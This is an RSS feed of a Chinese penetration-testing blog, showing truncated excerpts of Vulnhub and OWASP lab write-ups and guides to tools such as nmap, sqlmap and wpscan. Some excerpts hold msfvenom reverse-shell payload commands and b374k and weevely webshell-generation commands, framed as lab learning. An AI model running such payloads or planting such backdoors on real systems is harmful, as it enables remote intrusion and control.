<?xml version="1.0" encoding="utf-8" ?><rss version="2.0"><channel><title><![CDATA[zhaji001]]></title><description><![CDATA[https://zhajiyy.github.io/  此博客不在更新使用，迁移github,希望今后能记录自己的学习之路，同时分享高品质博文！！！]]></description><link>https://blog.youkuaiyun.com/freegotocpp</link><language>zh-cn</language><generator>https://blog.youkuaiyun.com/</generator><copyright><![CDATA[Copyright &copy; freegotocpp]]></copyright><item><title><![CDATA[Game of Thrones : 权利的游戏]]></title><link>https://blog.youkuaiyun.com/freegotocpp/article/details/86577090</link><guid>https://blog.youkuaiyun.com/freegotocpp/article/details/86577090</guid><author>freegotocpp</author><pubDate>Tue, 22 Jan 2019 03:16:05 +0800</pubDate><description><![CDATA[简介

今年权利的游戏要上映最终季了，很是期待啊，争斗了那么久的权位，这次终于要和异鬼开打了。

祝你好运，老神和新人会保护你！

下载URL: https://www.vulnhub.com/entry/game-of-thrones-ctf-1,201/

靶机使用：Virtualbox

攻击机：kali linux

0x001 信息收集

kali linux 是物理机器，所以就费点事，...]]></description><category></category></item><item><title><![CDATA[Vulnhub DeRKnStiNK]]></title><link>https://blog.youkuaiyun.com/freegotocpp/article/details/86495214</link><guid>https://blog.youkuaiyun.com/freegotocpp/article/details/86495214</guid><author>freegotocpp</author><pubDate>Tue, 15 Jan 2019 21:00:41 +0800</pubDate><description><![CDATA[简介

虚拟机下载： https://www.vulnhub.com/entry/derpnstink-1,221/

靶机： 使用Virtualbox虚拟机导入OVA

攻击机：kali linux 

0x001  信息收集

nmap扫描网络找到VM ip地址 


nmap -sn 192.168.1.100-254
Nmap scan report for 192.168.1.105
H...]]></description><category></category></item><item><title><![CDATA[owaspbwa之Bricks]]></title><link>https://blog.youkuaiyun.com/freegotocpp/article/details/86359729</link><guid>https://blog.youkuaiyun.com/freegotocpp/article/details/86359729</guid><author>freegotocpp</author><pubDate>Mon, 14 Jan 2019 20:43:41 +0800</pubDate><description><![CDATA[简介

 下载：https://sourceforge.net/projects/owaspbwa/files/

GitHub: https://github.com/chuckfw/owaspbwa/wiki/UserGuide

0x001 login #1

 burp拦截修改提交 检查注入


username=test'&amp;amp;passwd=test'&amp;amp;submit=Subm...]]></description><category></category></item><item><title><![CDATA[Drunk Admin]]></title><link>https://blog.youkuaiyun.com/freegotocpp/article/details/86080779</link><guid>https://blog.youkuaiyun.com/freegotocpp/article/details/86080779</guid><author>freegotocpp</author><pubDate>Tue, 08 Jan 2019 22:05:35 +0800</pubDate><description><![CDATA[简介：

https://www.vulnhub.com/entry/drunk-admin-web-hacking-challenge-1,14/

环境：

VMware网络选择的桥接模式，根据自己的环境进行配置，

攻击机：kali linux 

靶机：Drunk Admin VM

0x001 信息收集

开机你将会看到靶机的IP地址，我的VM靶机地址为192.168.1.104

0x...]]></description><category></category></item><item><title><![CDATA[Vulnhub Bsides Vancouver 2018]]></title><link>https://blog.youkuaiyun.com/freegotocpp/article/details/85616907</link><guid>https://blog.youkuaiyun.com/freegotocpp/article/details/85616907</guid><author>freegotocpp</author><pubDate>Wed, 02 Jan 2019 21:48:04 +0800</pubDate><description><![CDATA[简介：

 靶机下载URL: https://www.vulnhub.com/entry/bsides-vancouver-2018-workshop,231/#release

虚拟机需要使用Virtualbox 直接导入VM, 攻击机器使用kali linux 如果你为了方便可不使用桥接模式，直接设置VM和kali在同一IP即可。如果在环境中有太多的机器就不太好分辨目标IP。

0x001 信...]]></description><category></category></item><item><title><![CDATA[Nikto]]></title><link>https://blog.youkuaiyun.com/freegotocpp/article/details/85104219</link><guid>https://blog.youkuaiyun.com/freegotocpp/article/details/85104219</guid><author>freegotocpp</author><pubDate>Wed, 19 Dec 2018 19:00:25 +0800</pubDate><description><![CDATA[简介

https://cirt.net/

https://github.com/sullo/nikto

攻击机：kali linux

靶机: bee-box

扫描服务器


nikto -h 192.168.1.106 #在没指定端口的情况下它会默认的扫描80
nikto -h 192.168.1.106 -p 443 #指定端口  指定为范围（80-90）或逗号分隔列表（80,88,9...]]></description><category></category></item><item><title><![CDATA[wpscan]]></title><link>https://blog.youkuaiyun.com/freegotocpp/article/details/85099300</link><guid>https://blog.youkuaiyun.com/freegotocpp/article/details/85099300</guid><author>freegotocpp</author><pubDate>Wed, 19 Dec 2018 16:57:34 +0800</pubDate><description><![CDATA[简介

WPScan是一个黑盒漏洞扫描程序。WPScan使用Ruby编程语言编写，可帮助检测安全配置，主题，插件和用户权限等问题。在Kali，Pentoo和Samurai WTF WPScan已预先安装。此工具是针对Wordpress的专用扫描器。https://wordpress.org/plugins/ose-wp-scan/

github: https://github.com/wpsca...]]></description><category></category></item><item><title><![CDATA[SqlMap]]></title><link>https://blog.youkuaiyun.com/freegotocpp/article/details/85070348</link><guid>https://blog.youkuaiyun.com/freegotocpp/article/details/85070348</guid><author>freegotocpp</author><pubDate>Tue, 18 Dec 2018 17:13:17 +0800</pubDate><description><![CDATA[收集的一些技巧资源来之互联网


-u #注入点
-f #指纹判别数据库类型
-b #获取数据库版本信息
-p #指定可测试的参数(?page=1&amp;amp;id=2 -p “page,id”)
-D “” #指定数据库名
-T “” #指定表名
-C “” #指定字段
-s “” #保存注入过程到一个文件,还可中断，下次恢复在注入(保存：-s “xx.log”　　恢复:-s “xx.log” –r...]]></description><category></category></item><item><title><![CDATA[WebShells]]></title><link>https://blog.youkuaiyun.com/freegotocpp/article/details/85068477</link><guid>https://blog.youkuaiyun.com/freegotocpp/article/details/85068477</guid><author>freegotocpp</author><pubDate>Tue, 18 Dec 2018 16:58:02 +0800</pubDate><description><![CDATA[B374K:

github:  https://github.com/b374k/b374k

制作后门：


php -f index.php -- -o myShell.php -p myPassword -s -b -z gzcompress -c 9
b374k shell packer 0.4.2

Filename		: myShell.php
Password		: myPassw...]]></description><category></category></item><item><title><![CDATA[owaspbwa之WebGoat]]></title><link>https://blog.youkuaiyun.com/freegotocpp/article/details/85049841</link><guid>https://blog.youkuaiyun.com/freegotocpp/article/details/85049841</guid><author>freegotocpp</author><pubDate>Tue, 18 Dec 2018 15:10:46 +0800</pubDate><description><![CDATA[简介

 下载：https://sourceforge.net/projects/owaspbwa/files/

GitHub: https://github.com/chuckfw/owaspbwa/wiki/UserGuide

0x001 侦查


PORT     STATE SERVICE     VERSION
22/tcp   open  ssh         OpenSSH 5...]]></description><category></category></item><item><title><![CDATA[危险的HTTP PUT]]></title><link>https://blog.youkuaiyun.com/freegotocpp/article/details/84991825</link><guid>https://blog.youkuaiyun.com/freegotocpp/article/details/84991825</guid><author>freegotocpp</author><pubDate>Thu, 13 Dec 2018 19:35:52 +0800</pubDate><description><![CDATA[Web服务器上启用了HTTP PUT方法，配置不当可以直接上传后门文件到服务器，直接getshell。

测试环境：

攻击机器：kali linux

靶机：metasploitables2

0x001 判断


#nmap 扫

80/tcp   open  http        Apache httpd 2.2.8 ((Ubuntu) DAV/2)
|_http-server-heade...]]></description><category></category></item><item><title><![CDATA[joomscan 用法]]></title><link>https://blog.youkuaiyun.com/freegotocpp/article/details/84948170</link><guid>https://blog.youkuaiyun.com/freegotocpp/article/details/84948170</guid><author>freegotocpp</author><pubDate>Mon, 10 Dec 2018 23:34:21 +0800</pubDate><description><![CDATA[写在开头的clusterd 这个检查工具真的很很鸡肋，我搭建了四个环境去测试一个都识别不出来tomcat7+9,jboss7+6. 好无奈好无奈，小伙伴们看到就不要在折腾了。

简介

OWASP JoomScan项目

OWASP Joomla！漏洞扫描程序（JoomScan）是一个开源项目，旨在自动执行Joomla CMS部署中的漏洞检测和可靠性保证任务。该工具在Perl中实现，可以无缝轻松地...]]></description><category></category></item><item><title><![CDATA[msfvenom备忘录]]></title><link>https://blog.youkuaiyun.com/freegotocpp/article/details/84945828</link><guid>https://blog.youkuaiyun.com/freegotocpp/article/details/84945828</guid><author>freegotocpp</author><pubDate>Mon, 10 Dec 2018 20:45:53 +0800</pubDate><description><![CDATA[
msfvenom -l

Linux


msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=&amp;lt;Your IP Address&amp;gt; LPORT=&amp;lt;Your Port to Connect On&amp;gt; -f elf &amp;gt; shell.elf

msfvenom -p linux/x64/meterpreter/reverse...]]></description><category></category></item><item><title><![CDATA[BlindElephant使用方法]]></title><link>https://blog.youkuaiyun.com/freegotocpp/article/details/84941155</link><guid>https://blog.youkuaiyun.com/freegotocpp/article/details/84941155</guid><author>freegotocpp</author><pubDate>Mon, 10 Dec 2018 16:55:00 +0800</pubDate><description><![CDATA[简介

BlindElephant Web应用程序指纹识别器

GitHub : https://github.com/lokifer/BlindElephant

BlindElephant Web应用程序指纹识别器尝试通过比较已知位置的静态文件与所有可用版本中这些文件的版本的预计算哈希值来发现（已知）Web应用程序的版本。该技术快速，低带宽，非侵入性，通用且高度自动化。

0x001  


...]]></description><category></category></item><item><title><![CDATA[bWAPP练习]]></title><link>https://blog.youkuaiyun.com/freegotocpp/article/details/84787045</link><guid>https://blog.youkuaiyun.com/freegotocpp/article/details/84787045</guid><author>freegotocpp</author><pubDate>Thu, 06 Dec 2018 02:06:50 +0800</pubDate><description><![CDATA[简介

虚拟机下载地址： https://www.vulnhub.com/entry/bwapp-bee-box-v16,53/

如果你想自己去部署环境：https://sourceforge.net/projects/bwapp/files/bee-box/

bWAPP包含有100多个漏洞，包括OWASP Top10安全风险，很爽的PHPweb靶机。

登录username:bee  pas...]]></description><category></category></item><item><title><![CDATA[安装Anonsurf使Kali Linux匿名]]></title><link>https://blog.youkuaiyun.com/freegotocpp/article/details/84145507</link><guid>https://blog.youkuaiyun.com/freegotocpp/article/details/84145507</guid><author>freegotocpp</author><pubDate>Fri, 16 Nov 2018 20:49:43 +0800</pubDate><description><![CDATA[简介

https://dropall.github.io/2016-12-20-anonsurf-ip-spoofing/

github: https://github.com/Und3rf10w/kali-anonsurf

下载Anonsurf

从GIT克隆anonsurf


root@kali:~# git clone https://github.com/Und3rf10w/kal...]]></description><category></category></item><item><title><![CDATA[渗透测试思维导图]]></title><link>https://blog.youkuaiyun.com/freegotocpp/article/details/84102094</link><guid>https://blog.youkuaiyun.com/freegotocpp/article/details/84102094</guid><author>freegotocpp</author><pubDate>Thu, 15 Nov 2018 12:14:54 +0800</pubDate><description><![CDATA[]]></description><category></category></item><item><title><![CDATA[python正则表达式学习笔记]]></title><link>https://blog.youkuaiyun.com/freegotocpp/article/details/83792413</link><guid>https://blog.youkuaiyun.com/freegotocpp/article/details/83792413</guid><author>freegotocpp</author><pubDate>Mon, 12 Nov 2018 13:08:37 +0800</pubDate><description><![CDATA[正则表达式

学习资源:https://github.com/EbookFoundation/free-programming-books/blob/master/free-programming-books-zh.md



正则表达例子：

|    A|B  匹配 A或者B

.    A.A  匹配  A.A 匹配任何字符 除了\n除外

^   ^Demo  匹配字符串起始部分

$  ...]]></description><category></category></item><item><title><![CDATA[Nmap扫描]]></title><link>https://blog.youkuaiyun.com/freegotocpp/article/details/83582773</link><guid>https://blog.youkuaiyun.com/freegotocpp/article/details/83582773</guid><author>freegotocpp</author><pubDate>Wed, 31 Oct 2018 17:14:09 +0800</pubDate><description><![CDATA[nmap简介 

官方:https://nmap.org/  GitHub:https://github.com/nmap/nmap 参考指南:https://nmap.org/book/man.html

Nmap参数

-A     全面扫描

-v     增加详细级别

-sP   Ping扫描

-P0   零不是字母O  无Ping扫描

-PS  TCP SYN Ping扫描

-P...]]></description><category></category></item><item><title><![CDATA[Web后门工具weevley]]></title><link>https://blog.youkuaiyun.com/freegotocpp/article/details/83510641</link><guid>https://blog.youkuaiyun.com/freegotocpp/article/details/83510641</guid><author>freegotocpp</author><pubDate>Mon, 29 Oct 2018 22:02:26 +0800</pubDate><description><![CDATA[weevley简介

Weevely是一款开源项目.只支持(PHP) Webshell,可以模拟类似Telnet的连接,Weevely支持HTTP和SOCKS代理并使用Tor匿名网络。开源 https://github.com/epinna/weevely3

演示

靶机 dvwa  Vulnerability: File Upload low

生成后门


weevely generate ...]]></description><category></category></item></channel></rss>